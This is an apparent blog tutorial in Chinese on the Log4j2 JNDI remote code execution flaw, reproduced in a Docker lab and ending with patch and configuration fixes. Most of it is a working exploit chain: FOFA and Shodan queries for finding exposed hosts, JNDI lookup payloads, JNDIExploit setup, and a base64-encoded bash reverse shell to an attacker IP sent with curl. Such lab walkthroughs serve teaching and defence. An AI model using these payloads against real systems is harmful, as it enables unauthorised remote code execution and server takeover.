Apache Log4j2 RCE远程代码执行漏洞

Apache Log4j2 RCE远程代码执行漏洞

漏洞介绍

1、2021年12月10日,国家信息安全漏洞共享平台(CNVD)收录了Apache Log4j2 远程代码执行漏洞(CNVD-2021-95914)。攻击者利用该漏洞,可在未授权的情况下远程执行代码。目前,漏洞利用细节已公开,Apache官方已发布补丁修复该漏洞。

Apache Log4j2是一个基于Java的日志记录组件,该日志组件被广泛应用于业务系统开发,用以记录程序输入输出日志信息,得益于其突出于其他日志的优势:异步日志实现。是最受欢迎的于开发时的日志组件。

2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2 远程代码执行漏洞。由于Log4j2 组件在处理程序日志记录时存在JNDI 注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2 组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。

漏洞原理

1、Log4j2日志

2、log4j2 提供了 lookups

不过log4j2并不满足上面的功能,他们提供了一种叫lookups的功能log4j2的lookups说明

hello ${java:os}hello ${java:vm},而是当前服务的操作系统信息和虚拟机信息。其实如果仅仅是这样,那也算不上什么漏洞,只能说功能强大而已。

3、还支持JNDI Lookup、RMI远程调用

可以通过JNDI引入目录资源,进行加载class执行代码。也可以通过RMI远程调用资源。

漏洞影响

影响版本:Apache Log4j2.x <= 2.14.1

已知受影响:srping-boot-strater-log4j2、Apache Solr、Apache Flink、Apache Druid、Apache Struts2...

搜索漏洞语法

fofa搜索语法:

app="Log4j2"

shodan搜索语法:

Server: Log4j2

搭建漏洞docker环境

目标:centos7

IP:192.168.110.133

攻击机:kali linux

IP:192.168.110.141

下载docker漏洞镜像文件

sudo docker pull vulfocus/log4j2-rce-2021-12-09:latest
sudo docker run -itd -p 8080:8080 vulfocus/log4j2-rce-2021-12-09:latest

进入shell命令
sudo docker exec -it 5500411a2fac(容器id)

Payload配合DNSLog检测

先去DNSLog生成域名:zigsvm.dnslog.cn

JS POST POC请求

fetch(new Request('url',{
method:'POST', 
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body:"payload=${jndi:ldap://zigsvm.dnslog.cn./exp}"
})).then((resp)=>{console.log(resp)})

构建:

fetch(new Request('http://192.168.110.133:8080/hello',{
method:'POST', 
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body:"payload=${jndi:ldap://zigsvm.dnslog.cn./exp}"
})).then((resp)=>{console.log(resp)})

响应200,说明存在该漏洞。再看看DNSLog的请求

HackBar构建POC

目标:http://192.168.110.133:8080/hello

POST payload:

payload=${jndi:ldap://zigsvm.dnslog.cn./exp}

JNDIEXPloit工具Getshell

基础环境

kali linux:192.168.110.141

Centos7:192.168.110.133

wget https://github.com/Mr-xn/JNDIExploit-1/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -u

攻击机安装JAVA环境

(这里是Centos7目标机,可以不安。我这里是在Kali linux安装的)

yum install -y java-1.8*
java -jar JNDIExploit-1.2-SNAPSHOT.jar -u

ldap://null:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]

配置监听

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.110.141 -p 9090

指定监听9090端口

开始监听LDAP Server服务

再加上一个HTTP server服务

命令执行输出文件

测试payload语句

修整下payload,特殊字符需要通过url编码,尤其像+号需要通过双重URL编码,不然就会被当作连接符。

初始payload:
ZWNobyAiMTIzOTg3IiA+IC90bXAvdGVzdC50eHQ=

url编码后payload:
ZWNobyAiMTIzOTg3IiA%252BIC90bXAvdGVzdC50eHQ%3D

构造payload

${jndi:ldap://192.168.110.141:1389/TomcatBypass/Command/Base64/ZWNobyAiMTIzOTg3IiA%252BIC90bXAvdGVzdC50eHQ%3D}

抓包获取请求包:

提交一个js post请求数据包,然后用burpsuite抓取

发送到Repeater模块去测试payload:

请求成功200,看看监听

payload正常。

接下来去docker容器看看

没有文件,直接反弹shell看看。

反弹shell

payload:

bash -i >& /dev/tcp/192.168.110.141/9797 0>&1

bash64编码:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMC4xNDEvOTc5NyAwPiYx

url编码:
YmFzaCAtaSA%252BJiAvZGV2L3RjcC8xOTIuMTY4LjExMC4xNDEvOTc5NyAwPiYx

kali linux设置好监听:

nc -lvvp 9797

抓包重新发送看看:

shell弹过来了:

curl命令请求

curl -X POST --data "payload=${jndi:ldap://192.168.110.141:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%252BJiAvZGV2L3RjcC8xOTIuMTY4LjExMC4xNDEvOTc5NyAwPiYx}" http://192.168.110.133:8080/hello

BurpSuite被动扫描插件Log4j2Scan

https://github.com/pochubs/Log4j2Scan-1.git

自己编译下

mvn package

加入到java插件中

配置好一些API

然后看Dashoard这个模块即可

修复建议

  1. 升级Apache Log4j2所有相关应用到最新的 log4j-2.15.0-rc2 版本,地址:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

  2. 升级已知受影响的应用及组件,如srping-boot-strater-log4j2/Apache Solr/Apache Flink/Apache Druid

  3. jvm参数 -Dlog4j2.formatMsgNoLookups=true

  4. log4j2.formatMsgNoLookups=True

  5. 系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true

  6. 禁止使用log4j的服务器外连出网

  7. 使用高版本jdk(如jdk11.0.1、8u191、7u201、6u211或更高版本),因为高版本jdk默认无法利用jndi注入,可在一定程度上限制JNDI等漏洞利用方式。

posted @ 2021-12-28 21:55  Saint_Michael  阅读(1643)  评论(0编辑  收藏  举报